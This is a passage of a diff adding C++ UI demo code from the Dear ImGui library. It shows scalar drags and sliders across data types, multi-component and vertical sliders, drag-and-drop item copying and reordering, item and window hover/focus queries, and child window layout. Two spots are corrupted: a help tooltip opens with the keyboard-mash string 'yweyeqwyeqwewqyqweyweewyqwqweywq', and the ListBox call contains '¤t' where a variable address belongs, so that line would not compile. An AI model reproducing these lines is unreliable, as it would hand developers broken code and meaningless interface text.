ImGui::DragIntRange2("range int", &begin_i, &end_i, 5, 0, 1000, "Min: %d units", "Max: %d units"); + ImGui::DragIntRange2("range int (no bounds)", &begin_i, &end_i, 5, 0, 0, "Min: %d units", "Max: %d units"); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Data Types")) + { + // DragScalar/InputScalar/SliderScalar functions allow various data types + // - signed/unsigned + // - 8/16/32/64-bits + // - integer/float/double + // To avoid polluting the public API with all possible combinations, we use the ImGuiDataType enum + // to pass the type, and passing all arguments by pointer. + // This is the reason the test code below creates local variables to hold "zero" "one" etc. for each types. + // In practice, if you frequently use a given type that is not covered by the normal API entry points, + // you can wrap it yourself inside a 1 line function which can take typed argument as value instead of void*, + // and then pass their address to the generic function. For example: + // bool MySliderU64(const char *label, u64* value, u64 min = 0, u64 max = 0, const char* format = "%lld") + // { + // return SliderScalar(label, ImGuiDataType_U64, value, &min, &max, format); + // } + + // Setup limits (as helper variables so we can take their address, as explained above) + // Note: SliderScalar() functions have a maximum usable range of half the natural type maximum, hence the /2. + #ifndef LLONG_MIN + ImS64 LLONG_MIN = -9223372036854775807LL - 1; + ImS64 LLONG_MAX = 9223372036854775807LL; + ImU64 ULLONG_MAX = (2ULL * 9223372036854775807LL + 1); + #endif + const char s8_zero = 0, s8_one = 1, s8_fifty = 50, s8_min = -128, s8_max = 127; + const ImU8 u8_zero = 0, u8_one = 1, u8_fifty = 50, u8_min = 0, u8_max = 255; + const short s16_zero = 0, s16_one = 1, s16_fifty = 50, s16_min = -32768, s16_max = 32767; + const ImU16 u16_zero = 0, u16_one = 1, u16_fifty = 50, u16_min = 0, u16_max = 65535; + const ImS32 s32_zero = 0, s32_one = 1, s32_fifty = 50, s32_min = INT_MIN/2, s32_max = INT_MAX/2, s32_hi_a = INT_MAX/2 - 100, s32_hi_b = INT_MAX/2; + const ImU32 u32_zero = 0, u32_one = 1, u32_fifty = 50, u32_min = 0, u32_max = UINT_MAX/2, u32_hi_a = UINT_MAX/2 - 100, u32_hi_b = UINT_MAX/2; + const ImS64 s64_zero = 0, s64_one = 1, s64_fifty = 50, s64_min = LLONG_MIN/2, s64_max = LLONG_MAX/2, s64_hi_a = LLONG_MAX/2 - 100, s64_hi_b = LLONG_MAX/2; + const ImU64 u64_zero = 0, u64_one = 1, u64_fifty = 50, u64_min = 0, u64_max = ULLONG_MAX/2, u64_hi_a = ULLONG_MAX/2 - 100, u64_hi_b = ULLONG_MAX/2; + const float f32_zero = 0.f, f32_one = 1.f, f32_lo_a = -10000000000.0f, f32_hi_a = +10000000000.0f; + const double f64_zero = 0., f64_one = 1., f64_lo_a = -1000000000000000.0, f64_hi_a = +1000000000000000.0; + + // State + static char s8_v = 127; + static ImU8 u8_v = 255; + static short s16_v = 32767; + static ImU16 u16_v = 65535; + static ImS32 s32_v = -1; + static ImU32 u32_v = (ImU32)-1; + static ImS64 s64_v = -1; + static ImU64 u64_v = (ImU64)-1; + static float f32_v = 0.123f; + static double f64_v = 90000.01234567890123456789; + + const float drag_speed = 0.2f; + static bool drag_clamp = false; + ImGui::Text("Drags:"); + ImGui::Checkbox("Clamp integers to 0..50", &drag_clamp); + ImGui::SameLine(); HelpMarker( + "yweyeqwyeqwewqyqweyweewyqwqweywq unless there is a user interaction.\n" + "You can override the clamping limits by using CTRL+Click to input a value."); + ImGui::DragScalar("drag s8", ImGuiDataType_S8, &s8_v, drag_speed, drag_clamp ? &s8_zero : NULL, drag_clamp ? &s8_fifty : NULL); + ImGui::DragScalar("drag u8", ImGuiDataType_U8, &u8_v, drag_speed, drag_clamp ? &u8_zero : NULL, drag_clamp ? &u8_fifty : NULL, "%u ms"); + ImGui::DragScalar("drag s16", ImGuiDataType_S16, &s16_v, drag_speed, drag_clamp ? &s16_zero : NULL, drag_clamp ? &s16_fifty : NULL); + ImGui::DragScalar("drag u16", ImGuiDataType_U16, &u16_v, drag_speed, drag_clamp ? &u16_zero : NULL, drag_clamp ? &u16_fifty : NULL, "%u ms"); + ImGui::DragScalar("drag s32", ImGuiDataType_S32, &s32_v, drag_speed, drag_clamp ? &s32_zero : NULL, drag_clamp ? &s32_fifty : NULL); + ImGui::DragScalar("drag u32", ImGuiDataType_U32, &u32_v, drag_speed, drag_clamp ? &u32_zero : NULL, drag_clamp ? &u32_fifty : NULL, "%u ms"); + ImGui::DragScalar("drag s64", ImGuiDataType_S64, &s64_v, drag_speed, drag_clamp ? &s64_zero : NULL, drag_clamp ? &s64_fifty : NULL); + ImGui::DragScalar("drag u64", ImGuiDataType_U64, &u64_v, drag_speed, drag_clamp ? &u64_zero : NULL, drag_clamp ? &u64_fifty : NULL); + ImGui::DragScalar("drag float", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f"); + ImGui::DragScalar("drag float log", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f", ImGuiSliderFlags_Logarithmic); + ImGui::DragScalar("drag double", ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, NULL, "%.10f grams"); + ImGui::DragScalar("drag double log",ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, &f64_one, "0 < %.10f < 1", ImGuiSliderFlags_Logarithmic); + + ImGui::Text("Sliders"); + ImGui::SliderScalar("slider s8 full", ImGuiDataType_S8, &s8_v, &s8_min, &s8_max, "%d"); + ImGui::SliderScalar("slider u8 full", ImGuiDataType_U8, &u8_v, &u8_min, &u8_max, "%u"); + ImGui::SliderScalar("slider s16 full", ImGuiDataType_S16, &s16_v, &s16_min, &s16_max, "%d"); + ImGui::SliderScalar("slider u16 full", ImGuiDataType_U16, &u16_v, &u16_min, &u16_max, "%u"); + ImGui::SliderScalar("slider s32 low", ImGuiDataType_S32, &s32_v, &s32_zero, &s32_fifty,"%d"); + ImGui::SliderScalar("slider s32 high", ImGuiDataType_S32, &s32_v, &s32_hi_a, &s32_hi_b, "%d"); + ImGui::SliderScalar("slider s32 full", ImGuiDataType_S32, &s32_v, &s32_min, &s32_max, "%d"); + ImGui::SliderScalar("slider u32 low", ImGuiDataType_U32, &u32_v, &u32_zero, &u32_fifty,"%u"); + ImGui::SliderScalar("slider u32 high", ImGuiDataType_U32, &u32_v, &u32_hi_a, &u32_hi_b, "%u"); + ImGui::SliderScalar("slider u32 full", ImGuiDataType_U32, &u32_v, &u32_min, &u32_max, "%u"); + ImGui::SliderScalar("slider s64 low", ImGuiDataType_S64, &s64_v, &s64_zero, &s64_fifty,"%I64d"); + ImGui::SliderScalar("slider s64 high", ImGuiDataType_S64, &s64_v, &s64_hi_a, &s64_hi_b, "%I64d"); + ImGui::SliderScalar("slider s64 full", ImGuiDataType_S64, &s64_v, &s64_min, &s64_max, "%I64d"); + ImGui::SliderScalar("slider u64 low", ImGuiDataType_U64, &u64_v, &u64_zero, &u64_fifty,"%I64u ms"); + ImGui::SliderScalar("slider u64 high", ImGuiDataType_U64, &u64_v, &u64_hi_a, &u64_hi_b, "%I64u ms"); + ImGui::SliderScalar("slider u64 full", ImGuiDataType_U64, &u64_v, &u64_min, &u64_max, "%I64u ms"); + ImGui::SliderScalar("slider float low", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one); + ImGui::SliderScalar("slider float low log", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one, "%.10f", ImGuiSliderFlags_Logarithmic); + ImGui::SliderScalar("slider float high", ImGuiDataType_Float, &f32_v, &f32_lo_a, &f32_hi_a, "%e"); + ImGui::SliderScalar("slider double low", ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f grams"); + ImGui::SliderScalar("slider double low log",ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f", ImGuiSliderFlags_Logarithmic); + ImGui::SliderScalar("slider double high", ImGuiDataType_Double, &f64_v, &f64_lo_a, &f64_hi_a, "%e grams"); + + ImGui::Text("Sliders (reverse)"); + ImGui::SliderScalar("slider s8 reverse", ImGuiDataType_S8, &s8_v, &s8_max, &s8_min, "%d"); + ImGui::SliderScalar("slider u8 reverse", ImGuiDataType_U8, &u8_v, &u8_max, &u8_min, "%u"); + ImGui::SliderScalar("slider s32 reverse", ImGuiDataType_S32, &s32_v, &s32_fifty, &s32_zero, "%d"); + ImGui::SliderScalar("slider u32 reverse", ImGuiDataType_U32, &u32_v, &u32_fifty, &u32_zero, "%u"); + ImGui::SliderScalar("slider s64 reverse", ImGuiDataType_S64, &s64_v, &s64_fifty, &s64_zero, "%I64d"); + ImGui::SliderScalar("slider u64 reverse", ImGuiDataType_U64, &u64_v, &u64_fifty, &u64_zero, "%I64u ms"); + + static bool inputs_step = true; + ImGui::Text("Inputs"); + ImGui::Checkbox("Show step buttons", &inputs_step); + ImGui::InputScalar("input s8", ImGuiDataType_S8, &s8_v, inputs_step ? &s8_one : NULL, NULL, "%d"); + ImGui::InputScalar("input u8", ImGuiDataType_U8, &u8_v, inputs_step ? &u8_one : NULL, NULL, "%u"); + ImGui::InputScalar("input s16", ImGuiDataType_S16, &s16_v, inputs_step ? &s16_one : NULL, NULL, "%d"); + ImGui::InputScalar("input u16", ImGuiDataType_U16, &u16_v, inputs_step ? &u16_one : NULL, NULL, "%u"); + ImGui::InputScalar("input s32", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%d"); + ImGui::InputScalar("input s32 hex", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal); + ImGui::InputScalar("input u32", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%u"); + ImGui::InputScalar("input u32 hex", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal); + ImGui::InputScalar("input s64", ImGuiDataType_S64, &s64_v, inputs_step ? &s64_one : NULL); + ImGui::InputScalar("input u64", ImGuiDataType_U64, &u64_v, inputs_step ? &u64_one : NULL); + ImGui::InputScalar("input float", ImGuiDataType_Float, &f32_v, inputs_step ? &f32_one : NULL); + ImGui::InputScalar("input double", ImGuiDataType_Double, &f64_v, inputs_step ? &f64_one : NULL); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Multi-component Widgets")) + { + static float vec4f[4] = { 0.10f, 0.20f, 0.30f, 0.44f }; + static int vec4i[4] = { 1, 5, 100, 255 }; + + ImGui::InputFloat2("input float2", vec4f); + ImGui::DragFloat2("drag float2", vec4f, 0.01f, 0.0f, 1.0f); + ImGui::SliderFloat2("slider float2", vec4f, 0.0f, 1.0f); + ImGui::InputInt2("input int2", vec4i); + ImGui::DragInt2("drag int2", vec4i, 1, 0, 255); + ImGui::SliderInt2("slider int2", vec4i, 0, 255); + ImGui::Spacing(); + + ImGui::InputFloat3("input float3", vec4f); + ImGui::DragFloat3("drag float3", vec4f, 0.01f, 0.0f, 1.0f); + ImGui::SliderFloat3("slider float3", vec4f, 0.0f, 1.0f); + ImGui::InputInt3("input int3", vec4i); + ImGui::DragInt3("drag int3", vec4i, 1, 0, 255); + ImGui::SliderInt3("slider int3", vec4i, 0, 255); + ImGui::Spacing(); + + ImGui::InputFloat4("input float4", vec4f); + ImGui::DragFloat4("drag float4", vec4f, 0.01f, 0.0f, 1.0f); + ImGui::SliderFloat4("slider float4", vec4f, 0.0f, 1.0f); + ImGui::InputInt4("input int4", vec4i); + ImGui::DragInt4("drag int4", vec4i, 1, 0, 255); + ImGui::SliderInt4("slider int4", vec4i, 0, 255); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Vertical Sliders")) + { + const float spacing = 4; + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(spacing, spacing)); + + static int int_value = 0; + ImGui::VSliderInt("##int", ImVec2(18, 160), &int_value, 0, 5); + ImGui::SameLine(); + + static float values[7] = { 0.0f, 0.60f, 0.35f, 0.9f, 0.70f, 0.20f, 0.0f }; + ImGui::PushID("set1"); + for (int i = 0; i < 7; i++) + { + if (i > 0) ImGui::SameLine(); + ImGui::PushID(i); + ImGui::PushStyleColor(ImGuiCol_FrameBg, (ImVec4)ImColor::HSV(i / 7.0f, 0.5f, 0.5f)); + ImGui::PushStyleColor(ImGuiCol_FrameBgHovered, (ImVec4)ImColor::HSV(i / 7.0f, 0.6f, 0.5f)); + ImGui::PushStyleColor(ImGuiCol_FrameBgActive, (ImVec4)ImColor::HSV(i / 7.0f, 0.7f, 0.5f)); + ImGui::PushStyleColor(ImGuiCol_SliderGrab, (ImVec4)ImColor::HSV(i / 7.0f, 0.9f, 0.9f)); + ImGui::VSliderFloat("##v", ImVec2(18, 160), &values[i], 0.0f, 1.0f, ""); + if (ImGui::IsItemActive() || ImGui::IsItemHovered()) + ImGui::SetTooltip("%.3f", values[i]); + ImGui::PopStyleColor(4); + ImGui::PopID(); + } + ImGui::PopID(); + + ImGui::SameLine(); + ImGui::PushID("set2"); + static float values2[4] = { 0.20f, 0.80f, 0.40f, 0.25f }; + const int rows = 3; + const ImVec2 small_slider_size(18, (float)(int)((160.0f - (rows - 1) * spacing) / rows)); + for (int nx = 0; nx < 4; nx++) + { + if (nx > 0) ImGui::SameLine(); + ImGui::BeginGroup(); + for (int ny = 0; ny < rows; ny++) + { + ImGui::PushID(nx * rows + ny); + ImGui::VSliderFloat("##v", small_slider_size, &values2[nx], 0.0f, 1.0f, ""); + if (ImGui::IsItemActive() || ImGui::IsItemHovered()) + ImGui::SetTooltip("%.3f", values2[nx]); + ImGui::PopID(); + } + ImGui::EndGroup(); + } + ImGui::PopID(); + + ImGui::SameLine(); + ImGui::PushID("set3"); + for (int i = 0; i < 4; i++) + { + if (i > 0) ImGui::SameLine(); + ImGui::PushID(i); + ImGui::PushStyleVar(ImGuiStyleVar_GrabMinSize, 40); + ImGui::VSliderFloat("##v", ImVec2(40, 160), &values[i], 0.0f, 1.0f, "%.2f\nsec"); + ImGui::PopStyleVar(); + ImGui::PopID(); + } + ImGui::PopID(); + ImGui::PopStyleVar(); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Drag and Drop")) + { + if (ImGui::TreeNode("Drag and drop in standard widgets")) + { + // ColorEdit widgets automatically act as drag source and drag target. + // They are using standardized payload strings IMGUI_PAYLOAD_TYPE_COLOR_3F and IMGUI_PAYLOAD_TYPE_COLOR_4F + // to allow your own widgets to use colors in their drag and drop interaction. + // Also see 'Demo->Widgets->Color/Picker Widgets->Palette' demo. + HelpMarker("You can drag from the color squares."); + static float col1[3] = { 1.0f, 0.0f, 0.2f }; + static float col2[4] = { 0.4f, 0.7f, 0.0f, 0.5f }; + ImGui::ColorEdit3("color 1", col1); + ImGui::ColorEdit4("color 2", col2); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Drag and drop to copy/swap items")) + { + enum Mode + { + Mode_Copy, + Mode_Move, + Mode_Swap + }; + static int mode = 0; + if (ImGui::RadioButton("Copy", mode == Mode_Copy)) { mode = Mode_Copy; } ImGui::SameLine(); + if (ImGui::RadioButton("Move", mode == Mode_Move)) { mode = Mode_Move; } ImGui::SameLine(); + if (ImGui::RadioButton("Swap", mode == Mode_Swap)) { mode = Mode_Swap; } + static const char* names[9] = + { + "Bobby", "Beatrice", "Betty", + "Brianna", "Barry", "Bernard", + "Bibi", "Blaine", "Bryn" + }; + for (int n = 0; n < IM_ARRAYSIZE(names); n++) + { + ImGui::PushID(n); + if ((n % 3) != 0) + ImGui::SameLine(); + ImGui::Button(names[n], ImVec2(60, 60)); + + // Our buttons are both drag sources and drag targets here! + if (ImGui::BeginDragDropSource(ImGuiDragDropFlags_None)) + { + // Set payload to carry the index of our item (could be anything) + ImGui::SetDragDropPayload("DND_DEMO_CELL", &n, sizeof(int)); + + // Display preview (could be anything, e.g. when dragging an image we could decide to display + // the filename and a small preview of the image, etc.) + if (mode == Mode_Copy) { ImGui::Text("Copy %s", names[n]); } + if (mode == Mode_Move) { ImGui::Text("Move %s", names[n]); } + if (mode == Mode_Swap) { ImGui::Text("Swap %s", names[n]); } + ImGui::EndDragDropSource(); + } + if (ImGui::BeginDragDropTarget()) + { + if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload("DND_DEMO_CELL")) + { + IM_ASSERT(payload->DataSize == sizeof(int)); + int payload_n = *(const int*)payload->Data; + if (mode == Mode_Copy) + { + names[n] = names[payload_n]; + } + if (mode == Mode_Move) + { + names[n] = names[payload_n]; + names[payload_n] = ""; + } + if (mode == Mode_Swap) + { + const char* tmp = names[n]; + names[n] = names[payload_n]; + names[payload_n] = tmp; + } + } + ImGui::EndDragDropTarget(); + } + ImGui::PopID(); + } + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Drag to reorder items (simple)")) + { + // Simple reordering + HelpMarker( + "We don't use the drag and drop api at all here! " + "Instead we query when the item is held but not hovered, and order items accordingly."); + static const char* item_names[] = { "Item One", "Item Two", "Item Three", "Item Four", "Item Five" }; + for (int n = 0; n < IM_ARRAYSIZE(item_names); n++) + { + const char* item = item_names[n]; + ImGui::Selectable(item); + + if (ImGui::IsItemActive() && !ImGui::IsItemHovered()) + { + int n_next = n + (ImGui::GetMouseDragDelta(0).y < 0.f ? -1 : 1); + if (n_next >= 0 && n_next < IM_ARRAYSIZE(item_names)) + { + item_names[n] = item_names[n_next]; + item_names[n_next] = item; + ImGui::ResetMouseDragDelta(); + } + } + } + ImGui::TreePop(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Querying Status (Active/Focused/Hovered etc.)")) + { + // Select an item type + const char* item_names[] = + { + "Text", "Button", "Button (w/ repeat)", "Checkbox", "SliderFloat", "InputText", "InputFloat", + "InputFloat3", "ColorEdit4", "MenuItem", "TreeNode", "TreeNode (w/ double-click)", "ListBox" + }; + static int item_type = 1; + ImGui::Combo("Item Type", &item_type, item_names, IM_ARRAYSIZE(item_names), IM_ARRAYSIZE(item_names)); + ImGui::SameLine(); + HelpMarker("Testing how various types of items are interacting with the IsItemXXX functions."); + + // Submit selected item item so we can query their status in the code following it. + bool ret = false; + static bool b = false; + static float col4f[4] = { 1.0f, 0.5, 0.0f, 1.0f }; + static char str[16] = {}; + if (item_type == 0) { ImGui::Text("ITEM: Text"); } // Testing text items with no identifier/interaction + if (item_type == 1) { ret = ImGui::Button("ITEM: Button"); } // Testing button + if (item_type == 2) { ImGui::PushButtonRepeat(true); ret = ImGui::Button("ITEM: Button"); ImGui::PopButtonRepeat(); } // Testing button (with repeater) + if (item_type == 3) { ret = ImGui::Checkbox("ITEM: Checkbox", &b); } // Testing checkbox + if (item_type == 4) { ret = ImGui::SliderFloat("ITEM: SliderFloat", &col4f[0], 0.0f, 1.0f); } // Testing basic item + if (item_type == 5) { ret = ImGui::InputText("ITEM: InputText", &str[0], IM_ARRAYSIZE(str)); } // Testing input text (which handles tabbing) + if (item_type == 6) { ret = ImGui::InputFloat("ITEM: InputFloat", col4f, 1.0f); } // Testing +/- buttons on scalar input + if (item_type == 7) { ret = ImGui::InputFloat3("ITEM: InputFloat3", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged) + if (item_type == 8) { ret = ImGui::ColorEdit4("ITEM: ColorEdit4", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged) + if (item_type == 9) { ret = ImGui::MenuItem("ITEM: MenuItem"); } // Testing menu item (they use ImGuiButtonFlags_PressedOnRelease button policy) + if (item_type == 10){ ret = ImGui::TreeNode("ITEM: TreeNode"); if (ret) ImGui::TreePop(); } // Testing tree node + if (item_type == 11){ ret = ImGui::TreeNodeEx("ITEM: TreeNode w/ ImGuiTreeNodeFlags_OpenOnDoubleClick", ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_NoTreePushOnOpen); } // Testing tree node with ImGuiButtonFlags_PressedOnDoubleClick button policy. + if (item_type == 12){ const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi" }; static int current = 1; ret = ImGui::ListBox("ITEM: ListBox", ¤t, items, IM_ARRAYSIZE(items), IM_ARRAYSIZE(items)); } + + // Display the values of IsItemHovered() and other common item state functions. + // Note that the ImGuiHoveredFlags_XXX flags can be combined. + // Because BulletText is an item itself and that would affect the output of IsItemXXX functions, + // we query every state in a single call to avoid storing them and to simplify the code. + ImGui::BulletText( + "Return value = %d\n" + "IsItemFocused() = %d\n" + "IsItemHovered() = %d\n" + "IsItemHovered(_AllowWhenBlockedByPopup) = %d\n" + "IsItemHovered(_AllowWhenBlockedByActiveItem) = %d\n" + "IsItemHovered(_AllowWhenOverlapped) = %d\n" + "IsItemHovered(_RectOnly) = %d\n" + "IsItemActive() = %d\n" + "IsItemEdited() = %d\n" + "IsItemActivated() = %d\n" + "IsItemDeactivated() = %d\n" + "IsItemDeactivatedAfterEdit() = %d\n" + "IsItemVisible() = %d\n" + "IsItemClicked() = %d\n" + "IsItemToggledOpen() = %d\n" + "GetItemRectMin() = (%.1f, %.1f)\n" + "GetItemRectMax() = (%.1f, %.1f)\n" + "GetItemRectSize() = (%.1f, %.1f)", + ret, + ImGui::IsItemFocused(), + ImGui::IsItemHovered(), + ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup), + ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem), + ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenOverlapped), + ImGui::IsItemHovered(ImGuiHoveredFlags_RectOnly), + ImGui::IsItemActive(), + ImGui::IsItemEdited(), + ImGui::IsItemActivated(), + ImGui::IsItemDeactivated(), + ImGui::IsItemDeactivatedAfterEdit(), + ImGui::IsItemVisible(), + ImGui::IsItemClicked(), + ImGui::IsItemToggledOpen(), + ImGui::GetItemRectMin().x, ImGui::GetItemRectMin().y, + ImGui::GetItemRectMax().x, ImGui::GetItemRectMax().y, + ImGui::GetItemRectSize().x, ImGui::GetItemRectSize().y + ); + + static bool embed_all_inside_a_child_window = false; + ImGui::Checkbox("Embed everything inside a child window (for additional testing)", &embed_all_inside_a_child_window); + if (embed_all_inside_a_child_window) + ImGui::BeginChild("outer_child", ImVec2(0, ImGui::GetFontSize() * 20.0f), true); + + // Testing IsWindowFocused() function with its various flags. + // Note that the ImGuiFocusedFlags_XXX flags can be combined. + ImGui::BulletText( + "IsWindowFocused() = %d\n" + "IsWindowFocused(_ChildWindows) = %d\n" + "IsWindowFocused(_ChildWindows|_RootWindow) = %d\n" + "IsWindowFocused(_RootWindow) = %d\n" + "IsWindowFocused(_AnyWindow) = %d\n", + ImGui::IsWindowFocused(), + ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows), + ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows | ImGuiFocusedFlags_RootWindow), + ImGui::IsWindowFocused(ImGuiFocusedFlags_RootWindow), + ImGui::IsWindowFocused(ImGuiFocusedFlags_AnyWindow)); + + // Testing IsWindowHovered() function with its various flags. + // Note that the ImGuiHoveredFlags_XXX flags can be combined. + ImGui::BulletText( + "IsWindowHovered() = %d\n" + "IsWindowHovered(_AllowWhenBlockedByPopup) = %d\n" + "IsWindowHovered(_AllowWhenBlockedByActiveItem) = %d\n" + "IsWindowHovered(_ChildWindows) = %d\n" + "IsWindowHovered(_ChildWindows|_RootWindow) = %d\n" + "IsWindowHovered(_ChildWindows|_AllowWhenBlockedByPopup) = %d\n" + "IsWindowHovered(_RootWindow) = %d\n" + "IsWindowHovered(_AnyWindow) = %d\n", + ImGui::IsWindowHovered(), + ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup), + ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem), + ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows), + ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_RootWindow), + ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_AllowWhenBlockedByPopup), + ImGui::IsWindowHovered(ImGuiHoveredFlags_RootWindow), + ImGui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow)); + + ImGui::BeginChild("child", ImVec2(0, 50), true); + ImGui::Text("This is another child window for testing the _ChildWindows flag."); + ImGui::EndChild(); + if (embed_all_inside_a_child_window) + ImGui::EndChild(); + + static char unused_str[] = "This widget is only here to be able to tab-out of the widgets above."; + ImGui::InputText("unused", unused_str, IM_ARRAYSIZE(unused_str), ImGuiInputTextFlags_ReadOnly); + + // Calling IsItemHovered() after begin returns the hovered status of the title bar. + // This is useful in particular if you want to create a context menu associated to the title bar of a window. + static bool test_window = false; + ImGui::Checkbox("Hovered/Active tests after Begin() for title bar testing", &test_window); + if (test_window) + { + ImGui::Begin("Title bar Hovered/Active tests", &test_window); + if (ImGui::BeginPopupContextItem()) // <-- This is using IsItemHovered() + { + if (ImGui::MenuItem("Close")) { test_window = false; } + ImGui::EndPopup(); + } + ImGui::Text( + "IsItemHovered() after begin = %d (== is title bar hovered)\n" + "IsItemActive() after begin = %d (== is window being clicked/moved)\n", + ImGui::IsItemHovered(), ImGui::IsItemActive()); + ImGui::End(); + } + + ImGui::TreePop(); + } +} + +static void ShowDemoWindowLayout() +{ + if (!ImGui::CollapsingHeader("Layout & Scrolling")) + return; + + if (ImGui::TreeNode("Child windows")) + { + HelpMarker("Use child windows to begin into a self-contained independent scrolling/clipping regions within a host window."); + static bool disable_mouse_wheel = false; + static bool disable_menu = false; + ImGui::Checkbox("Disable Mouse Wheel", &disable_mouse_wheel); + ImGui::Checkbox("Disable Menu", &disable_menu); + + // Child 1: no border, enable horizontal scrollbar + { + ImGuiWindowFlags window_flags = ImGuiWindowFlags_HorizontalScrollbar; + if (disable_mouse_wheel) + window_flags |= ImGuiWindowFlags_NoScrollWithMouse; + ImGui::BeginChild("ChildL", ImVec2(ImGui::GetWindowContentRegionWidth() * 0.5f, 260), false, window_flags); + for (int i = 0; i < 100; i++) + ImGui::Text("%04d: scrollable region", i); + ImGui::EndChild(); + } + + ImGui::SameLine(); + + // Child 2: rounded border + { + ImGuiWindowFlags window_flags = ImGuiWindowFlags_None; + if (disable_mouse_wheel) + window_flags |= ImGuiWindowFlags_NoScrollWithMouse; + if (!disable_menu) + window_flags |= ImGuiWindowFlags_MenuBar; + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::BeginChild("ChildR", ImVec2(0, 260), true, window_flags); + if (!disable_menu && ImGui::BeginMenuBar()) + { + if (ImGui::BeginMenu("Menu")) + { + ShowExampleMenuFile(); + ImGui::EndMenu(); + } + ImGui::EndMenuBar(); + } + if (ImGui::BeginTable("split", 2, ImGuiTableFlags_Resizable | ImGuiTableFlags_NoSavedSettings)) + { + for (int i = 0; i < 100; i++) + { + char buf[32]; + sprintf(buf, "%03d", i); + ImGui::TableNextColumn(); + ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f)); + } + ImGui::EndTable(); + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + ImGui::Separator(); + + // Demonstrate a few extra things + // - Changing ImGuiCol_ChildBg (which is transparent black in default styles) + // - Using SetCursorPos() to position child window (the child window is an item from the POV of parent window) + // You can also call SetNextWindowPos() to position the child window. The parent window will effectively + // layout from this position. + // - Using ImGui::GetItemRectMin/Max() to query the "item" state (because the child window is an item from + // the POV of the parent window). See 'Demo->Querying Status (Active/Focused/Hovered etc.)' for details. + { + static int offset_x = 0; + ImGui::SetNextItemWidth(100); + ImGui::DragInt("Offset X", &offset_x, 1.0f, -1000, 1000); + + ImGui::SetCursorPosX(ImGui::GetCursorPosX() + (float)offset_x); + ImGui::PushStyleColor(ImGuiCol_ChildBg, IM_COL32(255, 0, 0, 100)); + ImGui::BeginChild("Red", ImVec2(200, 100), true, ImGuiWindowFlags_None); + for (int n = 0; n < 50; n++) + ImGui::Text("Some test %d", n); + ImGui::EndChild(); + bool child_is_hovered = ImGui::IsItemHovered(); + ImVec2 child_rect_min = ImGui::GetItemRectMin(); + ImVec2 child_rect_max = ImGui::GetItemRectMax(); + ImGui::PopStyleColor(); + ImGui::Text("Hovered: %d", child_is_hovered); + ImGui::Text("Rect of child window is: (%.0f,%.0f) (%.0f,%.0f)", child_rect_min.x, child_rect_min.y, child_rect_max.x, child_rect_max.y); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Widgets Width")) + { + // Use SetNextItemWidth() to set the width of a single upcoming item. + // Use PushItemWidth()/PopItemWidth() to set the width of a group of items. + // In real code use you'll probably want to choose width values that are proportional to your font size + // e.g. Using '20.0f * GetFontSize()' as width instead of '200.0f', etc. + + static float f = 0.0f; + static bool show_indented_items = true; + ImGui::Checkbox("Show indented items", &show_indented_items); + + ImGui::Text("SetNextItemWidth/PushItemWidth(100)"); + ImGui::SameLine(); HelpMarker("Fixed width."); + ImGui::PushItemWidth(100); + ImGui::DragFloat("float##1b", &f); + if (show_indented_items) + { + ImGui::Indent(); + ImGui::DragFloat("float (indented)##1b", &f); + ImGui::Unindent(); + } + ImGui::PopItemWidth(); + + ImGui::Text("SetNextItemWidth/PushItemWidth(-100)"); + ImGui::SameLine(); HelpMarker("Align to right edge minus 100"); + ImGui::PushItemWidth(-100); + ImGui::DragFloat("float##2a", &f); + if (show_indented_items) + { + ImGui::Indent(); + ImGui::DragFloat("float (indented)##2b", &f); + ImGui::Unindent(); + } + ImGui::PopItemWidth(); + + ImGui::Text("SetNextItemWidth/PushItemWidth(GetContentRegionAvail().x * 0.5f)"); + ImGui::SameLine(); HelpMarker("Half of available width.\n(~ right-cursor_pos)\n(works within a column set)"); + ImGui::PushItemWidth(ImGui::GetContentRegionAvail().x * 0.5f); + ImGui::DragFloat("float##3a", &f); + if (show_indented_items) + { + ImGui::Indent(); + ImGui::DragFloat("float (indented)##3b", &f); + ImGui::Unindent(); + } + 